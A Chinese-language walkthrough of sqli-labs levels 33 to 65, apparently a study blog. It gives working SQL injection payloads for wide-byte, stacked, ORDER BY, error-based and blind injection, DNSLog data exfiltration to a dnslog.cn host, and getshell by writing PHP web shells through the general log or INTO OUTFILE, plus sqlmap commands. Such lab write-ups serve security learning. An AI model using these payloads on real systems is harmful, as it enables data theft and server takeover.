?id=%df'union select 1,database(),3--+
Less-33
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes()
:返回在预定义字符之前添加反斜杠的字符串。
预定义字符 | 转义后 |
---|---|
\ |
\\ |
' |
\' |
" |
\" |
作用和Less-32类似,参考Less-32
?id=%df' union select 1,database(),3--+
Less-34
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
过滤方法和Less-33一样,只不过从GET型变为POST型了,burpsuite抓包修改post参数
uname=-1%df'union select 1,database()--+&passwd=1
为什么不能直接在表单里输入,非要抓包修改post参数?
- 因为在表单输入完提交后,表单数据被直接url编码了,我们输入的
%df
编码后变成了%25df
,就失去了作用
Less-35
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id=$id |
我用单引号试了一下,发现被转义了,然后我还是用宽字节注入,然后发现怎么样都不行,看了源码后醉了
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这过滤了个寂寞,使用简单的数字型注入就行
?id=-1 union select 1,database(),3--+
Less-36
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
$id=check_quotes($_GET['id']);
mysql_real_escape_string()
在Less-33中介绍过addslashes(),mysql_real_escape_string()与addslashes()对比,还会对\r
(ascii码:%0d)、\n
(ascii码:%0a)和\x1a
进行转义
直接使用Less-34的payload就行
?id=-1%df'union select 1,database(),3--+
Less-37
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
和Less-36的过滤方法一样,只是提交方式变成了post,所以使用burpsuite抓包修改post参数
uname=-1%df' union select 1,database(),3--+
堆叠注入 38-53 关
原理介绍
MySQL 的命令行中,每一条语句以;
结尾,这代表语句的结束,如果在注入过程中在;
后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:
mysql> select * from users;select database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | admin |
+----+----------+----------+
18 rows in set (0.00 sec)
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.00 sec)
与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句
局限性
- 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
- 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等
Less-38
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 堆叠注入 | id='$id' |
源码分析
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));
跟前面的题目区别是使用的不是mysqli_query()
而是mysqli_multi_query()
mysqli_multi_query()
函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句
那么这个怎么利用这个漏洞?下面学习一下比较实用的两个知识
DNSLog 数据外带
需要条件:
load_file(file_name)
作用是读取一个文件并将其内容作为字符串返回,其中file_name是文件的完整路径
load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\192.168.1.75\test
\\y8p8ww.dnslog.cn\test
以dnslo.cn为例 点击Get SubDomain,获得一个临时域名,如下图
每当这个域名被访问的时候就会留下记录,我们ping一下试试
C:\XXX\XXX>ping y8p8ww.dnslog.cn
正在 Ping y8p8ww.dnslog.cn [127.0.0.1] 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
ping完后点击Refresh Record刷新记录,如图
我们再随便ping一下它的子域名
C:\XXX\XXX>ping abc.y8p8ww.dnslog.cn
正在 Ping abc.y8p8ww.dnslog.cn [127.0.0.1] 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
发现可以ping通,查看一下记录
结合这道题试一下
?id=1';select load_file(concat('\\\\',database(),'.y8p8ww.dnslog.cn\\test'));
查看记录
红线标注的security
正是database()
的值,可见DNSlog已经帮我们带出了我们想要的数据
开启日志 Getshell
需要条件:
- Web 的物理路径
- MySQL 可以读写 Web 目录
- 最好是Windows 平台,因为Windows 成功率 高于 Linux
首先查看当前的日志的相关配置:
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+--------------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------------+
| general_log | OFF |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\MissPower007.log |
+------------------+--------------------------------------------------------------+
我这里使用的是Windows,发现MySQL没有开启日志,可以通过堆叠注入手动开启日志,并且创建了一个php类型的日志文件,这样我们就能Getshell
?id=1';set global general_log = "ON";set global general_log_file='D:/phpstudy_pro/WWW/shell.php';--+
- 日志路径要在网站目录下,如果不知道网站的绝对路径,输入下面命令查看数据库存放路径,再猜测网站的绝对路径。
- 注意在写路径的时候,Windows使用
/
,Linux使用\\
(两个反斜杠是为了转义)
mysql> select @@datadir;
+----------------------------------------------+
| @@datadir |
+----------------------------------------------+
| D:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
+----------------------------------------------+
重新查看日志设置,发现已经开启了日志
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-------------------------------------------------------+
| Variable_name | Value |
+------------------+-------------------------------------------------------+
| general_log | ON |
| general_log_file | D:/phpstudy_pro/WWW/shell.php |
+------------------+-------------------------------------------------------+
Getshell一下
?id=1';select '<?php phpinfo();?>';
为了了解过程,我自己查看一下日志文件
Time Id Command Argument
2021-09-26T09:41:00.707630Z 6410 Init DB security
2021-09-26T09:41:00.708178Z 6410 Query SELECT * FROM users WHERE id='1';
2021-09-26T09:41:00.708595Z 6410 Query select '<?php phpinfo();?>';
成功写入<?php phpinfo();?>
,访问一下出现phpinfo()
页面就说明成功了,我就不放截图了
- 我这里只是演示,用的是
<?php phpinfo();?>
,一般情况使用<?php eval($_POST['']);?>
,然后用蚁剑链接
Less-39
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 堆叠注入 | id=$id |
源码分析
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));
和Less-38类似,只是闭合方式不同,这里不多BB
Less-40
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 堆叠注入 | id=('$id') |
和Less-38类似,只是闭合方式不同,这里不多BB
Less-41
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 堆叠注入 | id=$id |
和Less-38类似,只是闭合方式不同,这里不多BB
Less-42
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注、堆叠注入 | password='$password' |
页面如下
有创建用户,想着会不会是二次注入,但是点击创建用户却没有创建用户的页面,所以不行
源码分析
- index.php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if(mysqli_multi_query($con1, $sql))
return $row[1];
else
print_r(mysqli_error($con1));
$username
被过滤了,但是$password
没有被过滤,一般的注入方法都可以使用
先演示最简单的万能密码
输入账号密码
admin
' or 1=1#
这样就登录了admin账号
我在这里再练习一下在Less-38学到的DNSLog 数据外带
输入账号密码
admin
1';select load_file(concat('\\\\',(select concat(schema_name) from information_schema.schemata limit 0,1),'.wku2ht.dnslog.cn\\test'));--
然后取DNSlog查询
其他的注入方法不做演示
Less-43
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注、堆叠注入 | password=('$password') |
和Less-42类似,只是闭合方式不同,这里不多BB
Less-44
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、布尔盲注,延时盲注、堆叠注入 | password='$password' |
和 Less-42 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
Less-45
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、布尔盲注,延时盲注、堆叠注入 | password='$password' |
和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
Less-46
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入、布尔盲注,延时盲注 | ORDER BY $id |
源码分析
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if 查询成功:
输出查询信息
else:
print_r(mysql_error());
order by 不同于 where 后的注入点,不能使用 union 等进行注入,注入方式非常灵活
验证方式
升序和降序验证
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc
rand() 验证
rand(true)和rand(false)的结果是不一样的,可以用来进行布尔盲注
?sort=rand(true)
?sort=rand(false)
延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
报错注入
?sort=1 and (select updatexml(1,concat(0x7e,(select concat(schema_name) from information_schema.schemata limit 0,1),0x7e),1))
布尔盲注
?sort=rand(substr(database(),1,1)='s')
演示盲注
?sort=1 and if(substr(database(),1,1)='s',sleep(1),1)
into outfile
将查询结果导入到文件中:
?sort=1 into outfile "D:/phpstudy_pro/WWW/test.txt"
查看D:/phpstudy_pro/WWW/test.txt
,查询结果已经写到里面,这里就不放截图了
利用导出文件 getshell:
?sort=1 into outfile "D:/phpstudy_pro/WWW/shell.php" lines terminated by "<?php phpinfo();?>"
然后访问shell.php
lines terminated by "xxx"
可以理解为:以每行终止的位置添加 xx 内容
Less-47
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入、布尔盲注,延时盲注 | ORDER BY '$id' |
和 Less-46 的利用方式一致,只是闭合方式不同
Less-48
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注,延时盲注 | ORDER BY $id |
和 Less-47 的利用方式一致,闭合方式不同,因为没有输出报错信息,所以这里少了报错注入的利用方式。
Less-49
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注,延时盲注 | ORDER BY '$id' |
和 Less-48 的利用方式一致,闭合方式不同
Less-50
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入、布尔盲注,延时盲注、堆叠注入 | ORDER BY $id |
源码分析
mysqli_multi_query($con1, $sql)
发现查询语句变成了mysqli_multi_query()
,故可以使用堆叠查询,可以参考Less-38
Less-51
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入、布尔盲注,延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-50 的利用方式一致,只是闭合方式不同
Less-52
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注,延时盲注、堆叠注入 | ORDER BY $id |
和 Less-51 的利用方式一致,闭合方式不同,因为没有输出报错信息,所以这里少了报错注入的利用方式。
Less-53
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注,延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-52 的利用方式一致,闭合方式不同,因为没有输出报错信息,所以这里少了报错注入的利用方式。
进阶挑战 54-65 关
Less-54
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入 | id='$id' |
首页如图
上面的意思是我们最多只能注入10次,10次内要获取数据库中的Secret Key
先不看源码自己进行完整的注入
联合查询注入
判断闭合方式
?id=1'--+
判断列数
?id=1' order by 3--+
?id=1' order by 4--+
判断回显
?id=-1' union select 1,2,3--+
2,3可显示
判断表名
?id=-1' union 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
得到表名4zxvv2mtl6
(这个是随机的)
判断字段名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='4zxvv2mtl6')--+
得到列名id,sessid,secret_R1YE,tryy
查询数据
?id=-1' union select 1,2,(select secret_R1YE from 4zxvv2mtl6)--+
得到Secret Key
其他注入
最多有10次注入,所以布尔注入和延时盲注就不适用了
源码里也没有输出报错信息,所以报错注入也不能用
Less-55
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合注入 | id=($id) |
和 Less-54 的利用方式一致,只是闭合方式不同
Less-56
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合注入 | id=('$id') |
和 Less-54 的利用方式一致,只是闭合方式不同
Less-57
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合注入 | id="$id" |
和 Less-54 的利用方式一致,只是闭合方式不同
Less-58
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入 | id='$id' |
输出查询结果时,一直不显示预期的结果,看来下源码
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
好家伙,输出的内容被固定了,只能是$unames
和$pass
数组里面的内容
但是输出了报错信息,所以可以使用报错注入
报错注入
- 闭合方式,字段数就不写了,参考Less-54
判断表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
得到表名8tlzy97uv7
判断列名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8tlzy97uv7'),0x7e),1)--+
得到列名id,sessid,secret_T0U7,tryy
查询数据
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(secret_T0U7) from 8tlzy97uv7),0x7e),1)--+
Less-59
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入 | id=$id |
和 Less-58 的利用方式一致,只是闭合方式不同
Less-60
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入 | id=("$id") |
和 Less-58 的利用方式一致,只是闭合方式不同
Less-61
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入 | id=(('$id')) |
和 Less-58 的利用方式一致,只是闭合方式不同
Less-62
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=('$id') |
最多可以尝试130次注入,又看了一下源码,发现没有输出报错信息,所以只能使用盲注
布尔盲注
建议使用sqlmap
sqlmap -u "http://www.sqlilabs.com:80/Less-62/index.php?id=1" --flush-session --technique=B -D challenges -tables
我130次不能完整的注入出来[dog],但是方法就是这样
延时盲注
把--technique=B
改为--technique=T
即可
Less-63
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id='$id' |
和 Less-62 的利用方式一致,只是闭合方式不同
Less-64
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=(($id)) |
和 Less-62 的利用方式一致,只是闭合方式不同
Less-64
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=("$id") |
和 Less-62 的利用方式一致,只是闭合方式不同
总结
sqlilabs只是比较基础的题目,没有太大难度,跟一些CTF题目的难度差很多,但是学完后自己体系化的掌握了SQL注入的知识,也见到了很多不同的SQL注入类型,感觉作用还是很大的
最后感谢国光大佬,我是白嫖的他的这篇博客: